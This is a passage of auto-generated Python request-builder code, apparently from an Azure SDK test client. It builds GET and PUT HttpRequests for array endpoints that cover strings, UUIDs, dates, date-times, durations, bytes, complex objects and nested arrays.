https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "str" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/string-enum/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_string_enum_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['foo1', 'foo2', 'foo3']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "str" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/string-enum/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_string_with_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get string array value ['foo', null, 'foo2']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "str" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/string/foo.null.foo2' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_string_with_invalid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get string array value ['foo', 123, 'foo2']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "str" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/string/foo.123.foo2' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_uuid_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get uuid array value ['6dcc7237-45fe-45c4-8a6b-3a8a3f625652', 'd1399005-30f7-40d6-8da6-dd7c89ad34db', 'f42f6aa1-a5bc-4ddf-907e-5f915de43205']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ str # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/uuid/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_uuid_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['6dcc7237-45fe-45c4-8a6b-3a8a3f625652', 'd1399005-30f7-40d6-8da6-dd7c89ad34db', 'f42f6aa1-a5bc-4ddf-907e-5f915de43205']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ str # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/uuid/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_uuid_invalid_chars_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get uuid array value ['6dcc7237-45fe-45c4-8a6b-3a8a3f625652', 'foo']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ str # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/uuid/invalidchars' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_date_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get integer array value ['2000-12-01', '1980-01-02', '1492-10-12']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_date_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['2000-12-01', '1980-01-02', '1492-10-12']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "2020-02-20" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/date/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_date_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date array value ['2012-01-01', null, '1776-07-04']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date/invalidnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_date_invalid_chars_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date array value ['2011-03-22', 'date']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date/invalidchars' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_date_time_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date-time array value ['2000-12-01t00:00:01z', '1980-01-02T00:11:35+01:00', '1492-10-12T10:15:01-08:00']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20 00:00:00" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date-time/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_date_time_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['2000-12-01t00:00:01z', '1980-01-02T00:11:35+01:00', '1492-10-12T10:15:01-08:00']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "2020-02-20 00:00:00" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/date-time/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_date_time_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date array value ['2000-12-01t00:00:01z', null]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20 00:00:00" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date-time/invalidnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_date_time_invalid_chars_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date array value ['2000-12-01t00:00:01z', 'date-time']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20 00:00:00" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date-time/invalidchars' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_date_time_rfc1123_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get date-time array value ['Fri, 01 Dec 2000 00:00:01 GMT', 'Wed, 02 Jan 1980 00:11:35 GMT', 'Wed, 12 Oct 1492 10:15:01 GMT']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "2020-02-20 00:00:00" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/date-time-rfc1123/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_date_time_rfc1123_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['Fri, 01 Dec 2000 00:00:01 GMT', 'Wed, 02 Jan 1980 00:11:35 GMT', 'Wed, 12 Oct 1492 10:15:01 GMT']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "2020-02-20 00:00:00" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/date-time-rfc1123/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_duration_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get duration array value ['P123DT22H14M12.011S', 'P5DT1H0M0S']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "1 day, 0:00:00" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/duration/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_duration_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['P123DT22H14M12.011S', 'P5DT1H0M0S']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "1 day, 0:00:00" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/duration/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_byte_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get byte array value [hex(FF FF FF FA), hex(01 02 03), hex (25, 29, 43)] with each item encoded in base64. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bytearray("bytearray", encoding="utf-8") # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/byte/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_byte_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Put the array value [hex(FF FF FF FA), hex(01 02 03), hex (25, 29, 43)] with each elementencoded in base 64. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ bytearray("bytearray", encoding="utf-8") # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/byte/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_byte_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get byte array value [hex(AB, AC, AD), null] with the first item base64 encoded. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bytearray("bytearray", encoding="utf-8") # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/byte/invalidnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_base64_url_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get array value ['a string that gets encoded with base64url', 'test string' 'Lorem ipsum'] with the items base64url encoded. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bytes("bytes", encoding="utf-8") # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/base64url/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_complex_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get array of complex type null value. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/complex/null' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_complex_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get empty array of complex type []. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/complex/empty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_complex_item_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get array of complex type with null item [{'integer': 1 'string': '2'}, null, {'integer': 5, 'string': '6'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/complex/itemnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_complex_item_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get array of complex type with empty item [{'integer': 1 'string': '2'}, {}, {'integer': 5, 'string': '6'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/complex/itemempty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_complex_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get array of complex type with [{'integer': 1 'string': '2'}, {'integer': 3, 'string': '4'}, {'integer': 5, 'string': '6'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/complex/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_complex_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Put an array of complex type with values [{'integer': 1 'string': '2'}, {'integer': 3, 'string': '4'}, {'integer': 5, 'string': '6'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ { "integer": 0, # Optional. "string": "str" # Optional. } ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/complex/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_array_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get a null array. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ [ "str" # Optional. ] ] """ accept = "application/json" # Construct URL url = '/array/array/null' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_array_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an empty array []. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ [ "str" # Optional. ] ] """ accept = "application/json" # Construct URL url = '/array/array/empty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_array_item_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of array of strings [['1', '2', '3'], null, ['7', '8', '9']]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ [ "str" # Optional. ] ] """ accept = "application/json" # Construct URL url = '/array/array/itemnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_array_item_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of array of strings [['1', '2', '3'], [], ['7', '8', '9']]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ [ "str" # Optional. ] ] """ accept = "application/json" # Construct URL url = '/array/array/itemempty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_array_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of array of strings [['1', '2', '3'], ['4', '5', '6'], ['7', '8', '9']]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request 